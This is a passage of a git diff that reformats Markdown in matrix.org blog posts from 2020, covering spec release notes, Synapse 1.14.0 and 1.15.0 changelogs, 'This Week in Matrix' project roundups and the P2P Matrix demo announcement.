soon with SDK update diff --git a/content/blog/2020/05/2020-05-27-room-version-6-client-server-r0-6-1-and-federation-r0-1-4-spec-releases.md b/content/blog/2020/05/2020-05-27-room-version-6-client-server-r0-6-1-and-federation-r0-1-4-spec-releases.md index 2711ab2ac..da91b84d2 100644 --- a/content/blog/2020/05/2020-05-27-room-version-6-client-server-r0-6-1-and-federation-r0-1-4-spec-releases.md +++ b/content/blog/2020/05/2020-05-27-room-version-6-client-server-r0-6-1-and-federation-r0-1-4-spec-releases.md @@ -37,52 +37,52 @@ Here's all the MSCs that got merged since the last release: #### New Endpoints - - Added `/rooms/{roomId}/aliases` for retrieving local aliases for a room. ([\#2562](https://github.com/matrix-org/matrix-doc/issues/2562)) +- Added `/rooms/{roomId}/aliases` for retrieving local aliases for a room. ([\#2562](https://github.com/matrix-org/matrix-doc/issues/2562)) #### Backwards Compatible Changes - - Added data structures for defining moderation policies in rooms per [MSC2313](https://github.com/matrix-org/matrix-doc/pull/2313). ([\#2434](https://github.com/matrix-org/matrix-doc/issues/2434)) - - Optionally invalidate other access tokens during password modification per [MSC2457](https://github.com/matrix-org/matrix-doc/pull/2457). ([\#2523](https://github.com/matrix-org/matrix-doc/issues/2523)) - - Add User-Interactive Authentication for SSO-backed homeserver per [MSC2454](https://github.com/matrix-org/matrix-doc/pull/2454). ([\#2532](https://github.com/matrix-org/matrix-doc/issues/2532)) - - Add soft-logout support per [MSC1466](https://github.com/matrix-org/matrix-doc/issues/1466). ([\#2546](https://github.com/matrix-org/matrix-doc/issues/2546)) - - Replaced legacy room alias handling with a more sustainable solution per [MSC2432](https://github.com/matrix-org/matrix-doc/pull/2432). ([\#2562](https://github.com/matrix-org/matrix-doc/issues/2562)) +- Added data structures for defining moderation policies in rooms per [MSC2313](https://github.com/matrix-org/matrix-doc/pull/2313). ([\#2434](https://github.com/matrix-org/matrix-doc/issues/2434)) +- Optionally invalidate other access tokens during password modification per [MSC2457](https://github.com/matrix-org/matrix-doc/pull/2457). ([\#2523](https://github.com/matrix-org/matrix-doc/issues/2523)) +- Add User-Interactive Authentication for SSO-backed homeserver per [MSC2454](https://github.com/matrix-org/matrix-doc/pull/2454). ([\#2532](https://github.com/matrix-org/matrix-doc/issues/2532)) +- Add soft-logout support per [MSC1466](https://github.com/matrix-org/matrix-doc/issues/1466). ([\#2546](https://github.com/matrix-org/matrix-doc/issues/2546)) +- Replaced legacy room alias handling with a more sustainable solution per [MSC2432](https://github.com/matrix-org/matrix-doc/pull/2432). ([\#2562](https://github.com/matrix-org/matrix-doc/issues/2562)) #### Spec Clarifications - - List available enum values for the room versions capability. ([\#2245](https://github.com/matrix-org/matrix-doc/issues/2245)) - - Fix various spelling errors throughout the specification. ([\#2351](https://github.com/matrix-org/matrix-doc/issues/2351), [\#2415](https://github.com/matrix-org/matrix-doc/issues/2415), [\#2453](https://github.com/matrix-org/matrix-doc/issues/2453), [\#2524](https://github.com/matrix-org/matrix-doc/issues/2524), [\#2553](https://github.com/matrix-org/matrix-doc/issues/2553), [\#2569](https://github.com/matrix-org/matrix-doc/issues/2569)) - - Minor clarifications to token-based User-Interactive Authentication. ([\#2369](https://github.com/matrix-org/matrix-doc/issues/2369)) - - Minor clarification for what the user directory searches. ([\#2381](https://github.com/matrix-org/matrix-doc/issues/2381)) - - Fix key export format example to match the specification. ([\#2430](https://github.com/matrix-org/matrix-doc/issues/2430)) - - Clarify the IV data type for encrypted files. ([\#2492](https://github.com/matrix-org/matrix-doc/issues/2492)) - - Fix the `.m.rule.contains_user_name` default push rule to set the highlight tweak. ([\#2519](https://github.com/matrix-org/matrix-doc/issues/2519)) - - Clarify that an `event_id` is returned when sending events. ([\#2525](https://github.com/matrix-org/matrix-doc/issues/2525)) - - Fix some numbers in the specification to match their explanation text. ([\#2554](https://github.com/matrix-org/matrix-doc/issues/2554)) - - Move redaction algorithm into the room version specifications. ([\#2563](https://github.com/matrix-org/matrix-doc/issues/2563)) - - Clarify signature object structures for encryption. ([\#2566](https://github.com/matrix-org/matrix-doc/issues/2566)) - - Clarify which events are created as part of `/createRoom`. ([\#2571](https://github.com/matrix-org/matrix-doc/issues/2571)) - - Remove claims that the homeserver is exclusively responsible for profile information in membership events. ([\#2574](https://github.com/matrix-org/matrix-doc/issues/2574)) +- List available enum values for the room versions capability. ([\#2245](https://github.com/matrix-org/matrix-doc/issues/2245)) +- Fix various spelling errors throughout the specification. ([\#2351](https://github.com/matrix-org/matrix-doc/issues/2351), [\#2415](https://github.com/matrix-org/matrix-doc/issues/2415), [\#2453](https://github.com/matrix-org/matrix-doc/issues/2453), [\#2524](https://github.com/matrix-org/matrix-doc/issues/2524), [\#2553](https://github.com/matrix-org/matrix-doc/issues/2553), [\#2569](https://github.com/matrix-org/matrix-doc/issues/2569)) +- Minor clarifications to token-based User-Interactive Authentication. ([\#2369](https://github.com/matrix-org/matrix-doc/issues/2369)) +- Minor clarification for what the user directory searches. ([\#2381](https://github.com/matrix-org/matrix-doc/issues/2381)) +- Fix key export format example to match the specification. ([\#2430](https://github.com/matrix-org/matrix-doc/issues/2430)) +- Clarify the IV data type for encrypted files. ([\#2492](https://github.com/matrix-org/matrix-doc/issues/2492)) +- Fix the `.m.rule.contains_user_name` default push rule to set the highlight tweak. ([\#2519](https://github.com/matrix-org/matrix-doc/issues/2519)) +- Clarify that an `event_id` is returned when sending events. ([\#2525](https://github.com/matrix-org/matrix-doc/issues/2525)) +- Fix some numbers in the specification to match their explanation text. ([\#2554](https://github.com/matrix-org/matrix-doc/issues/2554)) +- Move redaction algorithm into the room version specifications. ([\#2563](https://github.com/matrix-org/matrix-doc/issues/2563)) +- Clarify signature object structures for encryption. ([\#2566](https://github.com/matrix-org/matrix-doc/issues/2566)) +- Clarify which events are created as part of `/createRoom`. ([\#2571](https://github.com/matrix-org/matrix-doc/issues/2571)) +- Remove claims that the homeserver is exclusively responsible for profile information in membership events. ([\#2574](https://github.com/matrix-org/matrix-doc/issues/2574)) ### Server-Server (Federation) r0.1.4 changelog #### New Endpoints - - Add new `POST /publicRooms` endpoint for filtering the room directory. ([\#2305](https://github.com/matrix-org/matrix-doc/issues/2305)) - - Add new v2 `/send_join` and `/send_leave` endpoints per [MSC1802](https://github.com/matrix-org/matrix-doc/pull/1802). ([\#2547](https://github.com/matrix-org/matrix-doc/issues/2547)) +- Add new `POST /publicRooms` endpoint for filtering the room directory. ([\#2305](https://github.com/matrix-org/matrix-doc/issues/2305)) +- Add new v2 `/send_join` and `/send_leave` endpoints per [MSC1802](https://github.com/matrix-org/matrix-doc/pull/1802). ([\#2547](https://github.com/matrix-org/matrix-doc/issues/2547)) #### Removed Endpoints - - Remove the unused `query_auth` API per [MSC2451](https://github.com/matrix-org/matrix-doc/pull/2451). ([\#2470](https://github.com/matrix-org/matrix-doc/issues/2470)) +- Remove the unused `query_auth` API per [MSC2451](https://github.com/matrix-org/matrix-doc/pull/2451). ([\#2470](https://github.com/matrix-org/matrix-doc/issues/2470)) #### Spec Clarifications - - Move auth event selection to a more obvious location. ([\#2392](https://github.com/matrix-org/matrix-doc/issues/2392)) - - Fix typo in Request Authentication python example. ([\#2510](https://github.com/matrix-org/matrix-doc/issues/2510)) - - Clarify which fields are required on the key server endpoints. ([\#2527](https://github.com/matrix-org/matrix-doc/issues/2527)) - - Clarify the limits of `prev_events` and `auth_events` for PDUs. ([\#2538](https://github.com/matrix-org/matrix-doc/issues/2538)) - - Clarify which events are targeted by backfill. ([\#2559](https://github.com/matrix-org/matrix-doc/issues/2559)) - - Fix the response format of the `/send` endpoint. ([\#2560](https://github.com/matrix-org/matrix-doc/issues/2560)) - - Clarify signature object structures for encryption. ([\#2566](https://github.com/matrix-org/matrix-doc/issues/2566)) - - Clarify the server names to use when signing requests. ([\#2570](https://github.com/matrix-org/matrix-doc/issues/2570)) - - Clarify the state/auth chain requirements for `/send_join`. ([\#2575](https://github.com/matrix-org/matrix-doc/issues/2575)) - - Fix various spelling errors throughout the specification. ([\#2577](https://github.com/matrix-org/matrix-doc/issues/2577)) +- Move auth event selection to a more obvious location. ([\#2392](https://github.com/matrix-org/matrix-doc/issues/2392)) +- Fix typo in Request Authentication python example. ([\#2510](https://github.com/matrix-org/matrix-doc/issues/2510)) +- Clarify which fields are required on the key server endpoints. ([\#2527](https://github.com/matrix-org/matrix-doc/issues/2527)) +- Clarify the limits of `prev_events` and `auth_events` for PDUs. ([\#2538](https://github.com/matrix-org/matrix-doc/issues/2538)) +- Clarify which events are targeted by backfill. ([\#2559](https://github.com/matrix-org/matrix-doc/issues/2559)) +- Fix the response format of the `/send` endpoint. ([\#2560](https://github.com/matrix-org/matrix-doc/issues/2560)) +- Clarify signature object structures for encryption. ([\#2566](https://github.com/matrix-org/matrix-doc/issues/2566)) +- Clarify the server names to use when signing requests. ([\#2570](https://github.com/matrix-org/matrix-doc/issues/2570)) +- Clarify the state/auth chain requirements for `/send_join`. ([\#2575](https://github.com/matrix-org/matrix-doc/issues/2575)) +- Fix various spelling errors throughout the specification. ([\#2577](https://github.com/matrix-org/matrix-doc/issues/2577)) diff --git a/content/blog/2020/05/2020-05-28-synapse-1-14-0-released.md b/content/blog/2020/05/2020-05-28-synapse-1-14-0-released.md index 1298a6709..336015805 100644 --- a/content/blog/2020/05/2020-05-28-synapse-1-14-0-released.md +++ b/content/blog/2020/05/2020-05-28-synapse-1-14-0-released.md @@ -19,36 +19,29 @@ You'll also find support for [rooms v6](https://matrix.org/docs/spec/rooms/v6). As an aside we continue to be very happy with using Redis for worker inter-communication and will likely recommend it for production use in the coming weeks. -Get 1.14.0 from [github](https://github.com/matrix-org/synapse/releases/tag/v1.14.0) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. - +Get 1.14.0 from [github](https://github.com/matrix-org/synapse/releases/tag/v1.14.0) or any of the sources mentioned at . Changelog since v1.13.0 -Synapse 1.14.0 (2020-05-28) -=========================== +## Synapse 1.14.0 (2020-05-28) No significant changes. -Synapse 1.14.0rc2 (2020-05-27) -============================== +## Synapse 1.14.0rc2 (2020-05-27) -Bugfixes --------- +### Bugfixes - Fix cache config to not apply cache factor to event cache. Regression in v1.14.0rc1. ([\#7578](https://github.com/matrix-org/synapse/issues/7578)) - Fix bug where `ReplicationStreamer` was not always started when replication was enabled. Bug introduced in v1.14.0rc1. ([\#7579](https://github.com/matrix-org/synapse/issues/7579)) - Fix specifying individual cache factors for caches with special characters in their name. Regression in v1.14.0rc1. ([\#7580](https://github.com/matrix-org/synapse/issues/7580)) -Improved Documentation ----------------------- +### Improved Documentation - Fix the OIDC `client_auth_method` value in the sample config. ([\#7581](https://github.com/matrix-org/synapse/issues/7581)) -Synapse 1.14.0rc1 (2020-05-26) -============================== +## Synapse 1.14.0rc1 (2020-05-26) -Features --------- +### Features - Synapse's cache factor can now be configured in `homeserver.yaml` by the `caches.global_factor` setting. Additionally, `caches.per_cache_factors` controls the cache factors for individual caches. ([\#6391](https://github.com/matrix-org/synapse/issues/6391)) - Add OpenID Connect login/registration support. Contributed by Quentin Gliech, on behalf of [les Connecteurs](https://connecteu.rs). ([\#7256](https://github.com/matrix-org/synapse/issues/7256), [\#7457](https://github.com/matrix-org/synapse/issues/7457)) @@ -58,8 +51,7 @@ Features - Implement room version 6 per [MSC2240](https://github.com/matrix-org/matrix-doc/pull/2240). ([\#7506](https://github.com/matrix-org/synapse/issues/7506)) - Add highly experimental option to move event persistence off master. ([\#7281](https://github.com/matrix-org/synapse/issues/7281), [\#7374](https://github.com/matrix-org/synapse/issues/7374), [\#7436](https://github.com/matrix-org/synapse/issues/7436), [\#7440](https://github.com/matrix-org/synapse/issues/7440), [\#7475](https://github.com/matrix-org/synapse/issues/7475), [\#7490](https://github.com/matrix-org/synapse/issues/7490), [\#7491](https://github.com/matrix-org/synapse/issues/7491), [\#7492](https://github.com/matrix-org/synapse/issues/7492), [\#7493](https://github.com/matrix-org/synapse/issues/7493), [\#7495](https://github.com/matrix-org/synapse/issues/7495), [\#7515](https://github.com/matrix-org/synapse/issues/7515), [\#7516](https://github.com/matrix-org/synapse/issues/7516), [\#7517](https://github.com/matrix-org/synapse/issues/7517), [\#7542](https://github.com/matrix-org/synapse/issues/7542)) -Bugfixes --------- +### Bugfixes - Fix a bug where event updates might not be sent over replication to worker processes after the stream falls behind. ([\#7384](https://github.com/matrix-org/synapse/issues/7384)) - Allow expired user accounts to log out their device sessions. ([\#7443](https://github.com/matrix-org/synapse/issues/7443)) @@ -77,13 +69,11 @@ Bugfixes - Fix exception `'GenericWorkerReplicationHandler' object has no attribute 'send_federation_ack'`, introduced in v1.13.0. ([\#7564](https://github.com/matrix-org/synapse/issues/7564)) - `synctl` now warns if it was unable to stop Synapse and will not attempt to start Synapse if nothing was stopped. Contributed by Romain Bouyé. ([\#6590](https://github.com/matrix-org/synapse/issues/6590)) -Updates to the Docker image ---------------------------- +### Updates to the Docker image - Update docker runtime image to Alpine v3.11. Contributed by @Starbix. ([\#7398](https://github.com/matrix-org/synapse/issues/7398)) -Improved Documentation ----------------------- +### Improved Documentation - Update information about mapping providers for SAML and OpenID. ([\#7458](https://github.com/matrix-org/synapse/issues/7458)) - Add additional reverse proxy example for Caddy v2. Contributed by Jeff Peeler. ([\#7463](https://github.com/matrix-org/synapse/issues/7463)) @@ -92,8 +82,7 @@ Improved Documentation - Change the systemd worker service to check that the worker config file exists instead of silently failing. Contributed by David Vo. ([\#7528](https://github.com/matrix-org/synapse/issues/7528)) - Minor clarifications to the TURN docs. ([\#7533](https://github.com/matrix-org/synapse/issues/7533)) -Internal Changes ----------------- +### Internal Changes - Add typing annotations in `synapse.federation`. ([\#7382](https://github.com/matrix-org/synapse/issues/7382)) - Convert the room handler to async/await. ([\#7396](https://github.com/matrix-org/synapse/issues/7396)) diff --git a/content/blog/2020/05/2020-05-29-this-week-in-matrix-2020-05-29.md b/content/blog/2020/05/2020-05-29-this-week-in-matrix-2020-05-29.md index eba156917..ece29f64a 100644 --- a/content/blog/2020/05/2020-05-29-this-week-in-matrix-2020-05-29.md +++ b/content/blog/2020/05/2020-05-29-this-week-in-matrix-2020-05-29.md @@ -10,7 +10,7 @@ category = ["This Week in Matrix"] image = "https://matrix.org/blog/img/2020-05-29-vjRQ5-technicolor-yawn.jpg" +++ -## Matrix Live 🎙 Demos! +## Matrix Live 🎙 Demos {{ youtube_player(video_id="v9qXjN0G1-k") }} @@ -22,7 +22,7 @@ This week we have demos from our core team remote sync! > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at > -> #### MSC Status +> ### MSC Status > > **Merged MSCs:** > @@ -41,7 +41,7 @@ This week we have demos from our core team remote sync! > * [MSC2582: Remove mimetype from EncryptedFile object](https://github.com/matrix-org/matrix-doc/pull/2582) > * [MSC2579: Improved tagging support](https://github.com/matrix-org/matrix-doc/pull/2579) > -> #### Spec Core Team +> ### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, we've still got [MSC2366](https://github.com/matrix-org/matrix-doc/pull/2366) (verification flows) and [MSC2399](https://github.com/matrix-org/matrix-doc/pull/2399) (UISI messaging), however they are now joined by a third, _secret_ MSC that we'll be working on internally for now :) @@ -51,7 +51,7 @@ This week we have demos from our core team remote sync! Says TravisR: -> It's been a little while since we've done a round of spec releases, so we have a bunch of spec releases to share. If you're implementing something from the spec, please have a look at the news: https://matrix.org/blog/2020/05/27/room-version-6-client-server-r-0-6-1-and-federation-r-0-1-4-spec-releases/ +> It's been a little while since we've done a round of spec releases, so we have a bunch of spec releases to share. If you're implementing something from the spec, please have a look at the news: > > As always, any questions about the spec itself can be answered in [#matrix-spec:matrix.org](https://matrix.to/#/#matrix-spec:matrix.org), [#matrix-dev:matrix.org](https://matrix.to/#/#matrix-dev:matrix.org), or in the various area-specific rooms floating around the federation. @@ -114,8 +114,8 @@ Says Neil: ![synapse perf](/blog/img/2020-05-29-synapse-perf.png) -> We also shipped [1.14.0](https://matrix.org/blog/2020/05/28/synapse-1-14-0-released) which includes OpenId Connect support and improved cache control granularity. It also contains rooms v6. -> +> We also shipped [1.14.0](https://matrix.org/blog/2020/05/28/synapse-1-14-0-released) which includes OpenId Connect support and improved cache control granularity. It also contains rooms v6. +> > Next week will be having a think about what to do next for matrix.org performance. Watch this space. ### TARDIS (Time Agnostic Room DAG Inspection Service) @@ -164,6 +164,7 @@ Says Neil: Thanks [haywo](https://matrix.to/#/@haywo:nct08.de) for this update: > buildbot-matrix v0.0.5 has been released: +> > * Option to only get notifications on finished builds was added. > > buildbot-matrix is a small plugin for the Buildbot CI framework which sends notifications to matrix rooms. @@ -191,7 +192,7 @@ Thanks [haywo](https://matrix.to/#/@haywo:nct08.de) for this update: ### Minetrix -Certainly not from *this* week, but we haven't featured it before: [Minetrix](https://github.com/rrerrNet/Minetrix) allows you to bridge a Minecraft server with a Matrix room. +Certainly not from _this_ week, but we haven't featured it before: [Minetrix](https://github.com/rrerrNet/Minetrix) allows you to bridge a Minecraft server with a Matrix room. I read recently that Minecraft still has [126 million MAU](https://news.xbox.com/en-us/2020/05/18/minecraft-connecting-more-players-than-ever-before/)! @@ -213,7 +214,7 @@ I read recently that Minecraft still has [126 million MAU](https://news.xbox.com ### RumaTui -Thanks [devinr528](https://matrix.to/#/@devinr528:matrix.org) for sharing this +Thanks [devinr528](https://matrix.to/#/@devinr528:matrix.org) for sharing this WIP Command line Matrix client using matrix-rust-sdk: * Display read receipts for the last few messages @@ -223,17 +224,17 @@ WIP Command line Matrix client using matrix-rust-sdk: * Display when messages have been read * Leave a room by pressing Delete key (this should probably be a Ctrl-some key deal...) * Specify homeserver to join on start up (before the login screen) - * Simply run `rumatui [HOMESERVER]`, defaults to \"http://matrix.org\" + * Simply run `rumatui [HOMESERVER]`, defaults to \"" * Displays errors, albeit not very helpful or specific * Receive and display messages - * formatted messages display as rendered markdown + * formatted messages display as rendered markdown * Send messages - * local echo is removed - * Send textbox grows as more lines of text are added + * local echo is removed + * Send textbox grows as more lines of text are added * Selectable rooms list - * change rooms using the arrow keys, making this clickable may be difficult + * change rooms using the arrow keys, making this clickable may be difficult * Login widget is click/arrow key navigable - * hides password + * hides password ![rumatui-demo](/blog/img/2020-05-29-rumatui-notice.gif) @@ -290,8 +291,7 @@ Says Manu: > > Additionally this release is the first release that can be installed via APT > -> ``` -> +> ```bash > echo "deb [trusted=yes] unstable main" | sudo tee -a /etc/apt/sources.list > apt-get update > @@ -315,7 +315,7 @@ This is a great resource for helping explain how cross-signing works! ## Cross-signing implementors guide -This one isn't quite merged yet as we're going to give a thorough review, but big *thank you* to [sorunome](https://matrix.to/#/@sorunome:sorunome.de) for taking the time to put this together: +This one isn't quite merged yet as we're going to give a thorough review, but big _thank you_ to [sorunome](https://matrix.to/#/@sorunome:sorunome.de) for taking the time to put this together: > While implementing cross-signing for fluffychat soru decided to write a guide that would help other client developers to implement that, too. So far it is still WIP and doesn't cover too much, yet, but soru might have typed up more once this TWIM goes live. The PR (and thus the markdown of the guide) can be found here: diff --git a/content/blog/2020/06/2020-06-02-introducing-p2p-matrix.md b/content/blog/2020/06/2020-06-02-introducing-p2p-matrix.md index 00c331463..67a6795f8 100644 --- a/content/blog/2020/06/2020-06-02-introducing-p2p-matrix.md +++ b/content/blog/2020/06/2020-06-02-introducing-p2p-matrix.md @@ -38,9 +38,9 @@ Today, we’re shipping a major new alpha (v0.1.1) of this P2P demo up at [https The main features are: -* Your conversations are now persisted in your browser storage (via IndexedDB), meaning that as long as all the browsers participating in a given conversation don’t clear their local storage, rooms on the P2P network are here to stay! -* Your room directory lists all the aliases for all the rooms published by active nodes on the network. Moreover, we now automatically publish a local room alias whenever you join a public room, so that others will be able to discover that room via you, even if the server who originally created the alias has disappeared. -* Lots and lots of federation improvements between the nodes - for instance, when a node comes online, others should now automatically detect and send scrollback to it. Invites should work, and there should no longer be any unexpectedly redacted messages. +* Your conversations are now persisted in your browser storage (via IndexedDB), meaning that as long as all the browsers participating in a given conversation don’t clear their local storage, rooms on the P2P network are here to stay! +* Your room directory lists all the aliases for all the rooms published by active nodes on the network. Moreover, we now automatically publish a local room alias whenever you join a public room, so that others will be able to discover that room via you, even if the server who originally created the alias has disappeared. +* Lots and lots of federation improvements between the nodes - for instance, when a node comes online, others should now automatically detect and send scrollback to it. Invites should work, and there should no longer be any unexpectedly redacted messages. Needless to say, all the code for this is open source under the Apache license, and if you’re feeling particularly adventurous you can embed your very own P2P Dendrite into Riot Web by using the Dockerfile at [https://github.com/matrix-org/dendrite/blob/master/build/docker/DendriteJS.Dockerfile](https://github.com/matrix-org/dendrite/blob/master/build/docker/DendriteJS.Dockerfile) or following the instructions at [https://github.com/matrix-org/dendrite/blob/master/docs/p2p.md](https://github.com/matrix-org/dendrite/blob/master/docs/p2p.md). @@ -52,12 +52,12 @@ Finally, please understand that the demo is very likely **not** what the final v For the current demo, there’s still lots of stuff remaining, including: -* More federation debugging (and hooking in [tardis](https://github.com/matrix-org/tardis) and writing up everything we’ve learned about implementing federation in Dendrite!) -* Making the content repository work in-browser (gotta fill up those IndexedDBs with some GIFs!) -* Hooking up E2E Encryption APIs in Dendrite (not that it buys us much in a pure P2P world) -* WebRTC transports. Turns out that service workers aren’t allowed to speak WebRTC, so we’ll have to shim through to Riot to speak true peer-to-peer WebRTC data channels rather than relaying all the traffic through the websocket rendezvous server. -* Decentralised accounts for multidevice support - reviewing [MSC1228](https://github.com/matrix-org/matrix-doc/blob/rav/proposal/remove_mxids_from_events/proposals/1228-removing-mxids-from-events.md) and getting Dendrite supporting multihoming accounts! -* Finishing all of Dendrite’s other remaining APIs. +* More federation debugging (and hooking in [tardis](https://github.com/matrix-org/tardis) and writing up everything we’ve learned about implementing federation in Dendrite!) +* Making the content repository work in-browser (gotta fill up those IndexedDBs with some GIFs!) +* Hooking up E2E Encryption APIs in Dendrite (not that it buys us much in a pure P2P world) +* WebRTC transports. Turns out that service workers aren’t allowed to speak WebRTC, so we’ll have to shim through to Riot to speak true peer-to-peer WebRTC data channels rather than relaying all the traffic through the websocket rendezvous server. +* Decentralised accounts for multidevice support - reviewing [MSC1228](https://github.com/matrix-org/matrix-doc/blob/rav/proposal/remove_mxids_from_events/proposals/1228-removing-mxids-from-events.md) and getting Dendrite supporting multihoming accounts! +* Finishing all of Dendrite’s other remaining APIs. Beyond this, there are some bigger picture questions left to be answered in future experiments. diff --git a/content/blog/2020/06/2020-06-05-this-week-in-matrix-2020-06-05.md b/content/blog/2020/06/2020-06-05-this-week-in-matrix-2020-06-05.md index b55708ce0..9a84c1c0d 100644 --- a/content/blog/2020/06/2020-06-05-this-week-in-matrix-2020-06-05.md +++ b/content/blog/2020/06/2020-06-05-this-week-in-matrix-2020-06-05.md @@ -25,7 +25,7 @@ Make an entry in your calendar, don't just write it on your hand: [Open Tech Wil > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at > -> #### MSC Status +> ### MSC Status > > **Merged MSCs:** > @@ -44,7 +44,8 @@ Make an entry in your calendar, don't just write it on your hand: [Open Tech Wil > * [MSC2596: Proposal to always allow rescinding invites](https://github.com/matrix-org/matrix-doc/pull/2596) > > * [MSC2589: Improve replies](https://github.com/matrix-org/matrix-doc/pull/2589) -> #### Spec Core Team +> +> ### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, we've still got [MSC2366](https://github.com/matrix-org/matrix-doc/issues/2366) (verification flows) on our plate, but we're removing [MSC2399](https://github.com/matrix-org/matrix-doc/issues/2399) (UISI messaging) as it just needs one more final tick. We're adding [MSC2403](https://github.com/matrix-org/matrix-doc/issues/2403) (knocking) in its place. @@ -60,11 +61,11 @@ Make an entry in your calendar, don't just write it on your hand: [Open Tech Wil > > Mascarene is written in [Scala](https://www.scala-lang.org/), runs on JVM and relies on [Akka](https://akka.io/) actor model. Out of the box it provides features like efficient streaming I/O, clustering and live data distribution. Data are backed in a PostgreSQL database. > -> The project is in early stage but already provides a few endpoints which make Mascarene able to talk to Riot. +> The project is in early stage but already provides a few endpoints which make Mascarene able to talk to Riot. > > You can test it at . You should be able to register, login, create a room and talk to yourself. > -> Current work is focused on client API implementation; federation or e2ee will come later. +> Current work is focused on client API implementation; federation or e2ee will come later. > > Contributions are welcome, join us on [#mascarene:beerfactory.org](https://matrix.to/#/#mascarene:beerfactory.org) @@ -97,7 +98,7 @@ Conduit is a Matrix homeserver written in Rust [Neil](https://matrix.to/#/@neilj:matrix.org) told us: -> This week in Synapse land we have been focusing on bug fixes especially SSO and soft logout. +> This week in Synapse land we have been focusing on bug fixes especially SSO and soft logout. > > We also spent some time thinking about how to further improve performance for large scale deployments (like matrix.org). In short this will mean sharding contested workers such as the media repo worker, the federation sender and the federation reader. We also want to remove some more functionality from the master process because it is still sitting at about 80% and we’d like some more head room. We'd also like to fix up the state compressor so it can easily be run as a background progress to save on disk space, this will benefit all installations big and small. Finally we want to speed up joins over federation. Exciting times. > @@ -144,7 +145,7 @@ Dendrite is a next-generation homeserver written in Go > > In other news, Kegan wrote a post on [how p2p.riot.im works](https://github.com/matrix-org/dendrite/wiki/How-p2p.riot.im-works), including Dendrite's journey to SQLite and WebAssembly! -Additionally! You may have already read about [v0.1.1 of the P2P Matrix demo](https://matrix.org/blog/2020/06/02/introducing-p-2-p-matrix) - this is a big update, with local storage, room alias handling, federation improvements and more! +Additionally! You may have already read about [v0.1.1 of the P2P Matrix demo](https://matrix.org/blog/2020/06/02/introducing-p-2-p-matrix) - this is a big update, with local storage, room alias handling, federation improvements and more! ## Dept of Bridges 🌉 @@ -154,7 +155,7 @@ Additionally! You may have already read about [v0.1.1 of the P2P Matrix demo](ht > My Matrix Appservice Minecraft bridge is now in beta > -> * +> * > > Here is our Matrix room [#minecraft:dhdf.dev](https://matrix.to/#/#minecraft:dhdf.dev) @@ -376,9 +377,9 @@ Ruma is a Rust project to create a comprehensive set of APIs for Matrix. Previou > * We started updating ruma-events and ruma-client-api with the changes from version r0.6.1 of the client-server specification > > * We started moving all of our libraries into one [monorepo](https://github.com/ruma/ruma)! -> * As part of this, we introduced a kind of meta-library so you no longer have to keep the versions of the individual libraries in sync manually +> * As part of this, we introduced a kind of meta-library so you no longer have to keep the versions of the individual libraries in sync manually > -> * We're hoping that this makes experiments across multiple libraries and the overall contribution process easier 🙂 +> * We're hoping that this makes experiments across multiple libraries and the overall contribution process easier 🙂 ## Dept of Interesting Projects 🛰 @@ -408,11 +409,11 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl [Kai](https://matrix.to/#/@kai:matrix.chat-secure.de) reported: -> A new version of the terminal-based federation tester has been released. The current version 1.11 should now cover the entire server discovery process including scenarios with a .well-known configuration without a port, but with a DNS SRV entry. +> A new version of the terminal-based federation tester has been released. The current version 1.11 should now cover the entire server discovery process including scenarios with a .well-known configuration without a port, but with a DNS SRV entry. > > The script relies on bash, curl, jq and openssl. It has been tested on linux but should also work on *bsd and macos. > -> The script can be downloaded here: +> The script can be downloaded here: > > [#cli_federation-tester_de:matrix.chat-secure.de](https://matrix.to/#/#cli_federation-tester_de:matrix.chat-secure.de) > @@ -440,7 +441,7 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > > The first "official" release of matrix bot has been made and you can find the latest release source at > -> It's flagship features are currently +> It's flagship features are currently > > * an imperial <--> metric unit converter for common conversational units > diff --git a/content/blog/2020/06/2020-06-11-synapse-1-15-0-released.md b/content/blog/2020/06/2020-06-11-synapse-1-15-0-released.md index a4700994d..85e85d208 100644 --- a/content/blog/2020/06/2020-06-11-synapse-1-15-0-released.md +++ b/content/blog/2020/06/2020-06-11-synapse-1-15-0-released.md @@ -16,21 +16,17 @@ Aside from that the admin API continues to grow (this time device management) an We are receiving an increasing number of high quality PRs from the community, please keep them coming. Special thanks to [cg505](https://github.com/cg505), [dklimpel](https://github.com/dklimpel), [WGH](https://github.com/WGH), [olof](https://github.com/olof) and [ilmari](https://github.com/ilmari) -Get 1.15.0 from [github](https://github.com/matrix-org/synapse/releases/tag/v1.15.0) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. - +Get 1.15.0 from [github](https://github.com/matrix-org/synapse/releases/tag/v1.15.0) or any of the sources mentioned at . Changelog since v1.14.0 -Synapse 1.15.0 (2020-06-11) -=========================== +## Synapse 1.15.0 (2020-06-11) No significant changes. -Synapse 1.15.0rc1 (2020-06-09) -============================== +## Synapse 1.15.0rc1 (2020-06-09) -Features --------- +### Features - Advertise support for Client-Server API r0.6.0 and remove related unstable feature flags. ([\#6585](https://github.com/matrix-org/synapse/issues/6585)) - Add an option to disable autojoining rooms for guest accounts. ([\#6637](https://github.com/matrix-org/synapse/issues/6637)) @@ -39,8 +35,7 @@ Features - Add support for generating thumbnails for WebP images. Previously, users would see an empty box instead of preview image. Contributed by @WGH-. ([\#7586](https://github.com/matrix-org/synapse/issues/7586)) - Support the standardized `m.login.sso` user-interactive authentication flow. ([\#7630](https://github.com/matrix-org/synapse/issues/7630)) -Bugfixes --------- +### Bugfixes - Allow new users to be registered via the admin API even if the monthly active user limit has been reached. Contributed by @dklimpel. ([\#7263](https://github.com/matrix-org/synapse/issues/7263)) - Fix email notifications not being enabled for new users when created via the Admin API. ([\#7267](https://github.com/matrix-org/synapse/issues/7267)) @@ -57,16 +52,14 @@ Bugfixes - Advertise the `m.login.token` login flow when OpenID Connect is enabled. ([\#7631](https://github.com/matrix-org/synapse/issues/7631)) - Fix bug in account data replication stream. ([\#7656](https://github.com/matrix-org/synapse/issues/7656)) -Improved Documentation ----------------------- +### Improved Documentation - Update the OpenBSD installation instructions. ([\#7587](https://github.com/matrix-org/synapse/issues/7587)) - Advertise Python 3.8 support in 